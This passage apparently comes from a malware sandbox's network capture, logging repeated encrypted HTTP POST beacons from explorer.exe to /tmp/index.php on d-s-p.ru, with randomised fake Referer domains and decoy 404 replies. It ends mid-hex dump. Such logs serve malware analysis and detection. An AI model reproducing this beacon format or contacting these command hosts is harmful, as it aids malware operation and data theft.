Dec 30, 2024 19:42:33.955096006 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:33.963368893 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://duabtcnoqxwepta.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: d-s-p.ru
Dec 30, 2024 19:42:33.963427067 CET	193	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 23 31 ba f1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu#1e6p_e~IK/qs%2Bj}*1%&$ VxU^)J)u0CQfb
Dec 30, 2024 19:42:35.390779018 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:35 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:35.400616884 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ilgayipokchjnwi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: d-s-p.ru
Dec 30, 2024 19:42:35.400640011 CET	133	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 24 26 d2 95 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu$&u!nzNxo?Q3)wybv>F
Dec 30, 2024 19:42:36.871290922 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:36.882741928 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jifjhlrdcghs.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: d-s-p.ru
Dec 30, 2024 19:42:36.882775068 CET	338	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 70 31 a6 8a Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vup1jkD\|l^=t;Gmwc)S=Qh%?S\|bRwd9~8f[#P>#[\t/K>(xyq$)TGo
Dec 30, 2024 19:42:38.355526924 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:38 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:38.363780022 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yawtrsbxaqno.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 149 Host: d-s-p.ru
Dec 30, 2024 19:42:38.363797903 CET	149	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 65 4e ca 85 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vueN}Fy^pV7n>=[F/zw\X]670/MAF(:
Dec 30, 2024 19:42:40.058830976 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:39 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:40.066457033 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://askrbnixhwd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: d-s-p.ru
Dec 30, 2024 19:42:40.066488981 CET	121	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 63 2c cf e8 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuc,\TsAa?)Eo[.
Dec 30, 2024 19:42:41.554379940 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:41.562881947 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bmvgxhhwuegchsnk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: d-s-p.ru
Dec 30, 2024 19:42:41.562881947 CET	360	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 57 56 c2 f1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuWVy9nP_D+r"xw;0w8'E&PBJN1!HTR?<C:iWyLz}1Y"CX{pqLvw;aL)J
Dec 30, 2024 19:42:43.007309914 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:42 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:43.015362024 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fumgmeseepesr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 215 Host: d-s-p.ru
Dec 30, 2024 19:42:43.015408993 CET	215	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 54 28 a6 f1 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vuT(rLYLc>yM<w3MJH>~W[wi(wtx1@?yf}vb[+--
Dec 30, 2024 19:42:44.454025984 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:44 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:44.466878891 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kjsrpmbmjduiwv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: d-s-p.ru
Dec 30, 2024 19:42:44.466922045 CET	129	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 35 5c a1 f8 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu5\"aCRb'9=<d[*>
Dec 30, 2024 19:42:45.942068100 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:45 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:45.949636936 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ksvvejaqmamsa.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 141 Host: d-s-p.ru
Dec 30, 2024 19:42:45.949654102 CET	141	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 6e 3a e7 98 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vun:]8Rp}><GC=_`3!DmFFp'
Dec 30, 2024 19:42:47.461075068 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:47.469727039 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vtfnihcjaxwmos.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: d-s-p.ru
Dec 30, 2024 19:42:47.469742060 CET	248	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 28 2e b4 ed Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu(.P/M\|"D\|F(k'E+<"FRr02=EdQ;=+EK3fjWm%>w`J; zl{vp&?g
Dec 30, 2024 19:42:48.939321041 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:48 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:42:48.950985909 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://amrgqqtkvbsuyfiq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: d-s-p.ru
Dec 30, 2024 19:42:48.951006889 CET	273	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 2b 3c d0 bb Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[k,vu+<mWYn@L0;fTJ:tI\]&)04D4t`^%:1};)B,G>fwwuq\i2WEp7Y
Dec 30, 2024 19:42:50.394676924 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:42:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 